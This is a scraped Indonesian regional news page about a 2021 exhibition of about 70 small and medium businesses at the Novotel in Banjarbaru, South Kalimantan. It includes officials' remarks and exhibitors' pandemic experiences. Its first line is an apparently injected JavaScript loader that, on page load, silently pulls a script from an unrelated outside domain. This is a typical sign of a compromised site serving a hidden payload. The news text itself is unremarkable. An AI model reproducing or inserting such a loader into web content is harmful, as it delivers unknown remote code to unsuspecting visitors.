(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM BANJARBARU – Puluhan Usaha Mikro Kecil Menengah (UMKM) meramaikan Ajang UMKM 2021 Kalsel di Novotel Hotel, jalan A Yani Km 27, Landasan Ulin, Banjarbaru.
Event promosi UMKM ini dimulai 8 Juni hingga 31 Juli mempromosikan gerakan nasional peluncuran penawaran dan campaign rediscover Indonesia, serta mempromosikan gerakan nasional #BanggaBuatanIndonesia #BanggaBerwisatadiIndonesia #diIndonesiaaja.
Mengangkat tema kegiatan “Memajukan Produk Lokal” pembukaan pameran produk berlangsung, Selasa (8/6/2021). Dihadiri Pj Gubernur Kalsel Safrizal ZA, Wakil Wali Kota Banjarbaru, Wartono, Ketua DPD GKN Isna Alip, Kepala Dinas Perindustrian Pemprov Kalsel Mahyuni, GM Novotel Wenny Tendean, serta undangan lainnya.
Baca juga: Temuan Jasad di Kamar Kos, Korban Dihabisi, Mobil dan Hp Dicuri
Wakil Wali Kota, Wartono mengungkapkan, pameran ajang UMKM 2021 ini sebagai bentuk partisipasi dan dukungan dalam upaya peningkatan dan pengenalan UMKM di Kalimantan Selatan.
Ajang UMKM 2021 di Novotel Hotel Banjarbaru berlangsung dari 8 Juni hingga 31 Juli 2021. Foto : Dewi
“Seperti kita ketahui saat ini UMKM mengalami berbagai permasalahan, seperti penurunan penjualan, permodalan, distribusi terhambat, hingga kesulitan bahan baku, produksi menurun dan PHK buruh, hal ini menjadi ancaman bagi perekonomian nasional,” bebernya.
Untuk membangkitkan kembali kondisi ini, diperlukan solusi mitigasi dan pemulihan. dalam memecahkan permasalahan UMKM Indonesia yang terdampak Covid-19.
“Salah satu pilar penting, sektor ekonomi nasional yaitu nafas usaha mikro kecil dan menengah yang membutuhkan perhatian. Untuk melakukan penyelamatan dengan mendukung setiap langkah UMKM, dan secara bertahap memberikan solusi permasalahan yang ada terutama di tengah pandemi,” katanya.
Rini Yulianingsih, salah satu peserta pameran dari UMKM asal Kabupaten Tanah Laut sasirangan warna alam mengakui, dimana pembeli kain sasirangan sepi saat ini, dikarenakan pandemi yang lebih banyak kegiatan dilakukan secara online. Rini menyiasati produknya yang sepi beralih berjualan masker sasirangan yang saat ini banyak diperlukan.
Tapi kondisi itu justru berbanding berbalik dengan UMKM lainnya. Jamilah yang membuat produk herbal dan madu malah barang produksinya jadi incaran masyarakat. Karena masyarakat membeli herbal, madu dan lain-lainnya untuk menjaga stamina di masa pandemi ini.
Kain sasirangan yang dipamerkan dalam Ajang UMKM 2021 di Novotel Hotel. Foto: dewi
Setidaknya pameran Ajang UMKM 2021 ini harapan mereka, semoga selalu mendapat dukungan dari pemerintah agar produksi mereka tetap berjalan selama pandemi dan dapat memajukan produk lokal Kalimantan Selatan.
Ajang UMKM 2021 diikuti sekitar 70 UMKM di Kalsel dari Banjarmasin, Kabupaten Tapin, Kota Banjarbaru, Kabupaten Banjar, Tanah Laut, Tabalong, Kabupaten Balangan, Kotabaru dan Kabupaten Hulu Sungai Tengah. (kanalkalimantan.com/dewi)
Reporter : Dewi
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.